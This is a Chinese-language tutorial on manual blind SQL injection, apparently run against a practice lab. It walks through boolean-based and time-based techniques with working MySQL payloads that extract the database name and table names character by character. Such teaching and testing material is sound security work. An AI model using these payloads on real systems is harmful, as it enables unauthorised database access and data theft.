#### 盲注
以下用手工的方式來一步一步測試based boolean和based time。
一,、 based boolean
基于boolean的盲注主要表現(xiàn)癥狀:
0.沒有報錯信息
1.不管是正確的輸入,,還是錯誤的輸入,都只顯示兩種情況 (我們可以認為是0或者1)
2.在正確的輸入下,,輸入and 1=1/and 1=2發(fā)現(xiàn)可以判斷
在演示sql盲注之前,,先演示一個mysql小知識:
```
Select database(); //得到數(shù)據(jù)庫名稱
Select substr(database(),1,1);//使用substr函數(shù)截取結果中的值,從第一個字符開始,,截取1個字符,。
Select ascii(substr(database(),1,1)); 將截取出來的字符,,轉換成acsii碼,,以便于后面做運算,。
Select ascii(substr(database(),1,1))>97; //結果會為1或者0,也就是true or false
```
上面的知識要引申出來的一個邏輯是:
  既然在盲注情況下,,從頁面上只能判斷1,,0的情況,那么我們可以對databae()的結果截取一個字符,,轉換成ascii后進行運算,,根據(jù)true或false的結果確認截取的這個字符的ASCII碼,然后在將這個ascii碼轉換成字符,,從而得到database()里面的第一個值,。依次類推,得到所有結果,。
based Boolean-手動測試:
01,、如何確認需要遍歷的結果一共有多少個字符呢?
```
可以首先使用length()函數(shù)做一個確認:通過一個比較,,得出長度,。
Id=1' and length((select database()))>x;
mysql> select length((select database()))>7;
+-------------------------------+
| length((select database()))>7 |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
?
mysql> select length((select database()))>8;
+-------------------------------+
| length((select database()))>8 |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
```
02、Test Payload:
```
kobe' and ascii(substr(database(),1,1))>97#
輸出: 用戶不存在
kobe' and ascii(substr(database(),1,1))=97#
輸出: kobe的信息
因此,,可以判斷database()的第一個字符為a,!
```
03、獲取表信息的Test Payload:
```
ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)>100#
獲取其他信息的思路一樣.
```
二,、based time
  基于boolean的盲注可以在頁面上看到0 or 1的回顯,,但是基于time的盲注是看不到的。
  但是我們可以通過“時間”條件進行特定的輸入,,判斷后臺執(zhí)行sql語句的時間來判斷是否存在盲注,。
01、Teat Payload:
```
kobe' and sleep(5)#
```
分別輸入:kobe 和輸入kobe‘ and sleep(5)#,,從而判斷這里存在based time的SQL注入漏洞:
![](/upload/attach/201801/201801191855_V4ANV5896BWFRJ8.jpg)
02,、獲取基礎信息test payload:
```
kobe' and if ((substr((select database()),1,1))='a',sleep(5),null)#
```
mysql中if的用法:
if(條件,true返回,,false返回)
思路解釋:
    通過substr對database()的結果截取第一位,,然后判斷是否等于X,如果等于則為真,,然后執(zhí)行sleep(5),如果不等于則為假,,則null, 然后通過sleep的現(xiàn)象來確認,依次類推,,遍歷出所有的值,。
03、獲取表信息test payload:
```
kobe' and if(
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),null
)#
```
  無論是based boolean還是based time,要一步一步手工測試是非常麻煩的,,以上只是用手工的方式說明盲注的原理,,一般情況下,會使用一些sql注入工具來代替以上我們一步一步手工測試的步驟,,后面會講到如何使用sqlmap來進行注入測試,。